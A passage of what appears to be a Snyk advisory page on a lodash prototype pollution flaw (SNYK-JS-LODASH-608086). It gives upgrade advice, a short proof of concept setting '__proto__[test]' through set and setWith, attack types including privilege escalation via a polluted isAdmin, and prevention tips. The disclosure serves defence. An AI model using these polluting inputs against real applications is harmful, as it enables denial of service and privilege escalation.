package?</p> <p data-v-3645d675 data-v-f20bb186>In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.</p> <a rel=\"noopener noreferrer\" target=\"_blank\" role=\"button\" label=\"Test your code\" href=\"https://app.snyk.io/login?cta=sign-up&amp;loc=banner&amp;page=vuln-vuln\" data-snyk-test=\"register cta: button\" class=\"vue--button vue--button--cta\" data-v-94138f12 data-v-f20bb186>\n        Test your applications\n      </a></div></div></div> <!----> <div data-snyk-test=\"vuln detailsbox meta\" class=\"vue--block vue--card vuln-credit vue--card--white vue--card--no-padding\" data-v-3645d675 data-v-d6f7b9fc data-v-4aaa4f94 data-v-085cdb9e><!----> <!----> <!----> <div class=\"vue--card__body\" data-v-3645d675 data-v-d6f7b9fc><ul data-v-3645d675 data-v-4aaa4f94><li label=\"snyk-id\" data-snyk-test=\"vuln detailsbox item\" data-v-3645d675 data-v-4aaa4f94><span data-snyk-test=\"vuln detailsbox label\" class=\"credits__label\" data-v-3645d675 data-v-4aaa4f94>Snyk ID</span> <strong data-snyk-test=\"vuln detailsbox value\" data-v-3645d675 data-v-4aaa4f94>SNYK-JS-LODASH-608086</strong></li><li label=\"published\" data-snyk-test=\"vuln detailsbox item\" data-v-3645d675 data-v-4aaa4f94><span data-snyk-test=\"vuln detailsbox label\" class=\"credits__label\" data-v-3645d675 data-v-4aaa4f94>published</span> <strong data-snyk-test=\"vuln detailsbox value\" data-v-3645d675 data-v-4aaa4f94>21 Aug 2020</strong></li><li label=\"disclosed\" data-snyk-test=\"vuln detailsbox item\" data-v-3645d675 data-v-4aaa4f94><span data-snyk-test=\"vuln detailsbox label\" class=\"credits__label\" data-v-3645d675 data-v-4aaa4f94>disclosed</span> <strong data-snyk-test=\"vuln detailsbox value\" data-v-3645d675 data-v-4aaa4f94>21 Aug 2020</strong></li><li label=\"credit\" data-snyk-test=\"vuln detailsbox item\" data-v-3645d675 data-v-4aaa4f94><span data-snyk-test=\"vuln detailsbox label\" class=\"credits__label\" data-v-3645d675 data-v-4aaa4f94>credit</span> <strong data-snyk-test=\"vuln detailsbox value\" data-v-3645d675 data-v-4aaa4f94>awarau</strong></li></ul></div> <!----> <!----></div> <div data-snyk-test=\"VulnDbFeedbackLinks: buttons\" class=\"base-buttons\" data-v-361c2e3a data-v-085cdb9e><a rel=\"noopener noreferrer\" target=\"_blank\" role=\"button\" href=\"https://snyk.io/vulnerability-disclosure/\" data-snyk-test=\"VulnDbFeedbackLinks: support CTA\" class=\"vue--button base-button vue--button--basic vue--button--ghost\" data-v-94138f12 data-v-361c2e3a>\n    Report a new vulnerability\n  </a> <a rel=\"noopener noreferrer\" target=\"_blank\" role=\"button\" href=\"https://support.snyk.io/hc/en-us/requests/new\" data-snyk-test=\"VulnDbFeedbackLinks: submit request CTA\" class=\"vue--button base-button vue--button--basic vue--button--ghost\" data-v-94138f12 data-v-361c2e3a>\n    Found a mistake?\n  </a></div></div> <div class=\"left\" data-v-43af9ae8 data-v-085cdb9e><div class=\"vuln-page__info-block__container\" data-v-43af9ae8 data-v-085cdb9e><div class=\"vuln-info-block\" data-v-2bb0c06e data-v-085cdb9e><h4 data-snyk-test=\"formatted-date\" class=\"vue--heading date\" data-v-8dd2f746 data-v-2bb0c06e>\n    Introduced: 21 Aug 2020\n  </h4> <!----> <!---->  <span data-snyk-test=\"no-cve\" class=\"cve\" data-v-2bb0c06e><span id=\"no-cve-tooltip\" data-snyk-test=\"no-cve-tooltip\" class=\"vue--badge vue--badge--default vue--badge--small vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-2bb0c06e><!----> <span class=\"vue--badge__text\" data-v-0f55f474>\n      CVE NOT AVAILABLE\n    </span> <!----></span></span> <span data-snyk-test=\"cwe\" data-v-2bb0c06e><span data-v-b74dadd4 data-v-2bb0c06e><a aria-describedby=\"describedBy9YWGXVMyEU\" rel=\"noopener noreferrer\" href=\"https://cwe.mitre.org/data/definitions/1321.html\" target=\"_blank\" id=\"CWE-1321\" class=\"vue--anchor\" data-v-ce2707d6 data-v-b74dadd4>CWE-1321<!----><span id=\"describedByLfIxiLy9y1\" data-snyk-test=\"BaseAnchor screen reader description\" class=\"vue--anchor__offscreen\" data-v-ce2707d6>\n    Open this link in a new tab\n  </span></a> <div class=\"vue--tooltip item-tooltip vue--tooltip--help\" data-v-06ded3b9 data-v-b74dadd4><div aria-describedby=\"CWE-1321\" aria-controls=\"CWE-1321\" data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></span> <!----></div> <div ghost=\"\" variant=\"basic\" class=\"vue--button-dropdown vuln-page__info-block__container__sharebtn\" data-v-13063395 data-v-39001840 data-v-085cdb9e><button type=\"button\" role=\"button\" aria-label=\"Expand list of options\" tabindex=\"0\" class=\"vue--button vue--button-dropdown__btn vue--button--basic vue--button--ghost vue--button--small\" data-v-94138f12 data-v-13063395>\n    Share\n    <span aria-hidden=\"true\" aria-label=\"Chevron Down icon\" role=\"img\" class=\"material-design-icon chevron-down-icon vue--button-dropdown__icon\" data-v-94138f12 data-v-13063395><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M7.41,8.58L12,13.17L16.59,8.58L18,10L12,16L6,10L7.41,8.58Z\"><!----></path></svg></span></button> <div class=\"vue--button-dropdown__content vue--button-dropdown__content--right\" data-v-13063395><!----></div></div></div> <div class=\"vue--block vuln-page__instruction-block vue--block--instruction\" data-v-3645d675 data-v-085cdb9e><div class=\"vuln-page__content\" data-v-3645d675 data-v-085cdb9e><div class=\"markdown-section\" data-v-5c17117c data-v-085cdb9e><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    How to fix?\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><p>Upgrade <code>lodash</code> to version 4.17.17 or higher.</p>\n</div></div> </div></div></div> <div data-v-43af9ae8 data-v-085cdb9e><div class=\"markdown-section\" data-v-5c17117c data-v-085cdb9e><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    Overview\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><p><a href=\"https://www.npmjs.com/package/lodash\">lodash</a> is a modern JavaScript utility library delivering modularity, performance, &amp; extras.</p>\n<p>Affected versions of this package are vulnerable to Prototype Pollution via the <code>setWith</code> and <code>set</code> functions.</p>\n</div></div> </div></div><div data-v-43af9ae8 data-v-085cdb9e><div class=\"markdown-section\" data-v-5c17117c data-v-085cdb9e><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    PoC by awarau\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><ul>\n<li>Create a JS file with this contents:</li>\n</ul>\n<pre><code>load = require(&#39;lodash&#39;)\nload.setWith({}, &quot;__proto__[test]&quot;, &quot;123&quot;)\nload.set({}, &quot;__proto__[test2]&quot;, &quot;456&quot;)\nconsole.log(Object.prototype)\n</code></pre>\n<ul>\n<li>Execute it with <code>node</code></li>\n<li>Observe that <code>test</code> and <code>test2</code> is now in the <code>Object.prototype</code>.</li>\n</ul>\n</div></div> </div></div><div data-v-43af9ae8 data-v-085cdb9e><div class=\"markdown-section\" data-v-5c17117c data-v-085cdb9e><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    Details\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><p>Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as <code>__proto__</code>, <code>constructor</code> and <code>prototype</code>. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values.  Properties on the <code>Object.prototype</code> are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.</p>\n<p>There are two main ways in which the pollution of prototypes occurs:</p>\n<ul>\n<li><p>Unsafe <code>Object</code> recursive merge</p>\n</li>\n<li><p>Property definition by path</p>\n</li>\n</ul>\n<h3>Unsafe Object recursive merge</h3>\n<p>The logic of a vulnerable recursive merge function follows the following high-level model:</p>\n<pre><code>merge (target, source)\n\n<p>  foreach property of source</p>\n<pre><code>if property exists and is an object on both the target and the source\n\n  merge(target[property], source[property])\n\nelse\n\n  target[property] = source[property]\n</code></pre>\n<p></code></pre>\n<br>  </p>\n<p>When the source object contains a property named <code>__proto__</code> defined with <code>Object.defineProperty()</code> , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of <code>Object</code> and the source of <code>Object</code> as defined by the attacker. Properties are then copied on the <code>Object</code> prototype.</p>\n<p>Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: <code>merge({},source)</code>.</p>\n<p><code>lodash</code> and <code>Hoek</code> are examples of libraries susceptible to recursive merge attacks.</p>\n<h3>Property definition by path</h3>\n\n<p>There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: <code>theFunction(object, path, value)</code></p>\n<p>If the attacker can control the value of “path”, they can set this value to <code>__proto__.myValue</code>. <code>myValue</code> is then assigned to the prototype of the class of the object.</p>\n</div></div> </div></div><div data-v-43af9ae8 data-v-085cdb9e><div class=\"markdown-section\" data-v-5c17117c data-v-085cdb9e><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    Types of attacks\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><p>There are a few methods by which Prototype Pollution can be manipulated:</p>\n<table>\n<thead>\n<tr>\n<th>Type</th>\n<th>Origin</th>\n<th>Short description</th>\n</tr>\n</thead>\n<tbody><tr>\n<td><strong>Denial of service (DoS)</strong></td>\n<td>Client</td>\n<td>This is the most likely attack. <br>DoS occurs when <code>Object</code> holds generic functions that are implicitly called for various operations (for example, <code>toString</code> and <code>valueOf</code>). <br> The attacker pollutes <code>Object.prototype.someattr</code> and alters its state to an unexpected value such as <code>Int</code> or <code>Object</code>. In this case, the code fails and is likely to cause a denial of service.  <br><strong>For example:</strong> if an attacker pollutes <code>Object.prototype.toString</code> by defining it as an integer, if the codebase at any point was reliant on <code>someobject.toString()</code> it would fail.</td>\n</tr>\n<tr>\n<td><strong>Remote Code Execution</strong></td>\n<td>Client</td>\n<td>Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.<br><strong>For example:</strong> <code>eval(someobject.someattr)</code>. In this case, if the attacker pollutes <code>Object.prototype.someattr</code> they are likely to be able to leverage this in order to execute code.</td>\n</tr>\n<tr>\n<td><strong>Property Injection</strong></td>\n<td>Client</td>\n<td>The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.<br>  <strong>For example:</strong> if a codebase checks privileges for <code>someuser.isAdmin</code>, then when the attacker pollutes <code>Object.prototype.isAdmin</code> and sets it to equal <code>true</code>, they can then achieve admin privileges.</td>\n</tr>\n</tbody></table>\n</div></div> </div></div><div data-v-43af9ae8 data-v-085cdb9e><div class=\"markdown-section\" data-v-5c17117c data-v-085cdb9e><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    Affected environments\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><p>The following environments are susceptible to a Prototype Pollution attack:</p>\n<ul>\n<li><p>Application server</p>\n</li>\n<li><p>Web server</p>\n</li>\n<li><p>Web browser</p>\n</li>\n</ul>\n</div></div> </div></div><div data-v-43af9ae8 data-v-085cdb9e><div class=\"markdown-section\" data-v-5c17117c data-v-085cdb9e><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    How to prevent\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><ol>\n<li><p>Freeze the prototype— use <code>Object.freeze (Object.prototype)</code>.</p>\n</li>\n<li><p>Require schema validation of JSON input.</p>\n</li>\n<li><p>Avoid using unsafe recursive merge functions.</p>\n</li>\n<li><p>Consider using objects without prototypes (for example, <code>Object.create(null)</code>), breaking the prototype chain and preventing pollution.</p>\n</li>\n<li><p>As a best practice use <code>Map</code> instead of <code>Object</code>.</p>\n</li>\n</ol>\n<h3>For more information on this vulnerability type:</h3>\n<p><a href=\"https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf\">Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018</a></p>\n</div></div> </div></div><div data-v-43af9ae8 data-v-085cdb9e><div class=\"markdown-section\" data-v-5c17117c data-v-085cdb9e><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    References\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><ul>\n<li><a href=\"https://hackerone.com/reports/864701\">HackerOne Report</a></li>\n</ul>\n</div></div> </div></div></div></div></div></main> <footer id=\"slimfooter\" role=\"contentinfo\" marketingSiteHost=\"https://snyk.io\" class=\"site-footer\" data-v-415ae652 data-v-0fde60d6><div class=\"vue--layout-container site-footer__container\" data-v-43af9ae8 data-v-415ae652><div class=\"nav__groups\" data-v-43af9ae8 data-v-415ae652><nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Product</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/open-source-security-management/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Snyk Open Source\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/snyk-code/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Snyk Code<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/container-vulnerability-management/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Snyk Container\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/infrastructure-as-code-security/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Snyk Infrastructure as Code\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/test/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Test with Github<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/test/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Test with CLI<!----><!----></a></li></ul></nav> <nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Resources</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://security.snyk.io/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Vulnerability DB<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://docs.snyk.io/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Documentation<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://security.snyk.io/disclosed-vulnerabilities\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Disclosed Vulnerabilities\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/blog/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Blog<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://support.snyk.io/hc/en-us\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>FAQs<!----><!----></a></li></ul></nav> <nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Company</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/about\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>About<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/careers/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Jobs<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"mailto:contact@snyk.io\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Contact<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/policies/terms-of-service/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Policies\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://preferences.snyk.io/dont_sell\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Do Not Sell My Personal Information\n            <!----><!----></a></li></ul></nav> <nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Contact Us</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"mailto:support@snyk.io\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Support<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/vulnerability-disclosure\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Report a new vuln\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://github.com/snyk/press-kit\" rel=\"nofollow\" class=\"nav__list__item__link\" data-v-43af9ae8 data-v-415ae652>Press Kit</a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/events\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Events<!----><!----></a></li></ul></nav> <nav class=\"nav__social\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Find us online</h3> <ul class=\"list-social\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://twitter.com/snyksec\" title=\"Twitter\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon twitter-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M22.46,6C21.69,6.35 20.86,6.58 20,6.69C20.88,6.16 21.56,5.32 21.88,4.31C21.05,4.81 20.13,5.16 19.16,5.36C18.37,4.5 17.26,4 16,4C13.65,4 11.73,5.92 11.73,8.29C11.73,8.63 11.77,8.96 11.84,9.27C8.28,9.09 5.11,7.38 3,4.79C2.63,5.42 2.42,6.16 2.42,6.94C2.42,8.43 3.17,9.75 4.33,10.5C3.62,10.5 2.96,10.3 2.38,10C2.38,10 2.38,10 2.38,10.03C2.38,12.11 3.86,13.85 5.82,14.24C5.46,14.34 5.08,14.39 4.69,14.39C4.42,14.39 4.15,14.36 3.89,14.31C4.43,16 6,17.26 7.89,17.29C6.43,18.45 4.58,19.13 2.56,19.13C2.22,19.13 1.88,19.11 1.54,19.07C3.44,20.29 5.7,21 8.12,21C16,21 20.33,14.46 20.33,8.79C20.33,8.6 20.33,8.42 20.32,8.23C21.16,7.63 21.88,6.87 22.46,6Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.youtube.com/channel/UCh4dJzctb0NhSibjU-e2P6w\" title=\"Youtube\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon youtube-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M10,15L15.19,12L10,9V15M21.56,7.17C21.69,7.64 21.78,8.27 21.84,9.07C21.91,9.87 21.94,10.56 21.94,11.16L22,12C22,14.19 21.84,15.8 21.56,16.83C21.31,17.73 20.73,18.31 19.83,18.56C19.36,18.69 18.5,18.78 17.18,18.84C15.88,18.91 14.69,18.94 13.59,18.94L12,19C7.81,19 5.2,18.84 4.17,18.56C3.27,18.31 2.69,17.73 2.44,16.83C2.31,16.36 2.22,15.73 2.16,14.93C2.09,14.13 2.06,13.44 2.06,12.84L2,12C2,9.81 2.16,8.2 2.44,7.17C2.69,6.27 3.27,5.69 4.17,5.44C4.64,5.31 5.5,5.22 6.82,5.16C8.12,5.09 9.31,5.06 10.41,5.06L12,5C16.19,5 18.8,5.16 19.83,5.44C20.73,5.69 21.31,6.27 21.56,7.17Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.facebook.com/snyksec\" title=\"Facebook\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon facebook-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2.04C6.5 2.04 2 6.53 2 12.06C2 17.06 5.66 21.21 10.44 21.96V14.96H7.9V12.06H10.44V9.85C10.44 7.34 11.93 5.96 14.22 5.96C15.31 5.96 16.45 6.15 16.45 6.15V8.62H15.19C13.95 8.62 13.56 9.39 13.56 10.18V12.06H16.34L15.89 14.96H13.56V21.96A10 10 0 0 0 22 12.06C22 6.53 17.5 2.04 12 2.04Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.linkedin.com/company/snyk\" title=\"LinkedIn\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon linkedin-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M19 3A2 2 0 0 1 21 5V19A2 2 0 0 1 19 21H5A2 2 0 0 1 3 19V5A2 2 0 0 1 5 3H19M18.5 18.5V13.2A3.26 3.26 0 0 0 15.24 9.94C14.39 9.94 13.4 10.46 12.92 11.24V10.13H10.13V18.5H12.92V13.57C12.92 12.8 13.54 12.17 14.31 12.17A1.4 1.4 0 0 1 15.71 13.57V18.5H18.5M6.88 8.56A1.68 1.68 0 0 0 8.56 6.88C8.56 5.95 7.81 5.19 6.88 5.19A1.69 1.69 0 0 0 5.19 6.88C5.19 7.81 5.95 8.56 6.88 8.56M8.27 18.5V10.13H5.5V18.5H8.27Z\"><!----></path></svg></span></a></li></ul> <h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Track our development</h3> <ul class=\"list-social\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://github.com/Snyk/\" title=\"Github\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon github-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12,2A10,10 0 0,0 2,12C2,16.42 4.87,20.17 8.84,21.5C9.34,21.58 9.5,21.27 9.5,21C9.5,20.77 9.5,20.14 9.5,19.31C6.73,19.91 6.14,17.97 6.14,17.97C5.68,16.81 5.03,16.5 5.03,16.5C4.12,15.88 5.1,15.9 5.1,15.9C6.1,15.97 6.63,16.93 6.63,16.93C7.5,18.45 8.97,18 9.54,17.76C9.63,17.11 9.89,16.67 10.17,16.42C7.95,16.17 5.62,15.31 5.62,11.5C5.62,10.39 6,9.5 6.65,8.79C6.55,8.54 6.2,7.5 6.75,6.15C6.75,6.15 7.59,5.88 9.5,7.17C10.29,6.95 11.15,6.84 12,6.84C12.85,6.84 13.71,6.95 14.5,7.17C16.41,5.88 17.25,6.15 17.25,6.15C17.8,7.5 17.45,8.54 17.35,8.79C18,9.5 18.38,10.39 18.38,11.5C18.38,15.32 16.04,16.16 13.81,16.41C14.17,16.72 14.5,17.33 14.5,18.26C14.5,19.6 14.5,20.68 14.5,21C14.5,21.27 14.66,21.59 15.17,21.5C19.14,20.16 22,16.42 22,12A10,10 0 0,0 12,2Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.npmjs.com/package/snyk\" title=\"NPM\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><svg width=\"24\" height=\"24\" xmlns=\"http://www.w3.org/2000/svg\" class=\"npm-icon\" data-v-43af9ae8 data-v-415ae652><path d=\"M0 29h14.609V6.96h6.742V29h6.743V0H0z\" data-v-43af9ae8 data-v-415ae652></path></svg></a></li></ul> <div class=\"footer-banner\" data-v-43af9ae8 data-v-415ae652><a href=\"https://www.devseccon.com/the-secure-developer-podcast/\" target=\"_blank\" rel=\"noopener nofollow\" class=\"podcast-ad\" data-v-43af9ae8 data-v-415ae652><img src=\"/_nuxt/img/community-banner-footer.3085cc3.svg\" alt=\"DevSecOps Community Podcast\" width=\"220\" height=\"68\" data-v-43af9ae8 data-v-415ae652></a></div></nav></div> <div class=\"site-footer-bottom\" data-v-43af9ae8 data-v-415ae652><span aria-label=\"Snyk\" role=\"img\" data-snyk-test=\"SiteFooter: logo\" class=\"material-design-icon snyk-icon\" data-v-415ae652><svg fill=\"#fff\" height=\"60\" width=\"60\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path fill=\"#fff\" d=\"M3.646 14.917c-0.676 0-1.225-0.116-1.695-0.341l0.143-1.080c0.497 0.244 1.057 0.36 1.526 0.36 0.343 0 0.568-0.117 0.568-0.322 0-0.593-2.139-0.451-2.139-2 0-0.99 0.909-1.511 2.049-1.511 0.568 0 1.154 0.154 1.534 0.288l-0.154 1.062c-0.398-0.154-0.94-0.297-1.391-0.297-0.278 0-0.504 0.098-0.504 0.278 0 0.585 2.184 0.469 2.184 1.98 0 1.006-0.895 1.583-2.121 1.583l-0 0zM9.56 14.816v-2.675c0-0.611-0.271-0.9-0.786-0.9-0.251 0-0.515 0.071-0.695 0.18v3.395h-1.587v-4.636l1.553-0.128-0.038 0.758h0.053c0.335-0.45 0.902-0.792 1.58-0.792 0.812 0 1.514 0.503 1.514 1.692v3.106h-1.593zM20.046 14.816l-1.271-2.206h-0.128v2.205h-1.587v-5.491l1.587-2.476v5.124c0.316-0.386 1.38-1.853 1.38-1.853h1.958l-1.857 1.961 1.921 2.739h-2.004v-0.004zM15.004 10.134l-0.651 2.115c-0.127 0.398-0.251 1.129-0.251 1.129s-0.098-0.758-0.233-1.156l-0.696-2.089h-1.778l1.933 4.682c-0.263 0.623-0.669 1.148-1.211 1.148-0.098 0-0.195-0.004-0.29-0.015l-0.631 0.975c0.199 0.112 0.579 0.229 1.030 0.229 1.173 0 1.959-0.949 2.508-2.352l1.842-4.667-1.572 0.001z\"></path></svg></span> <div class=\"subhead\" data-v-43af9ae8 data-v-415ae652><p data-v-43af9ae8 data-v-415ae652>© 2023 Snyk Limited</p> <p data-v-43af9ae8 data-v-415ae652>Registered in England and Wales. Company number: 09677925</p> <p data-v-43af9ae8 data-v-415ae652>Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.</p></div></div></div> <div class=\"waves-wrapper\" data-v-415ae652></div></footer></div></div></div><script>window.__NUXT__=(function(a,b,c,d,e,f,g){return {layout:\"default\",data:[{id:\"SNYK-JS-LODASH-608086\",title:\"Prototype Pollution\",description:\"## 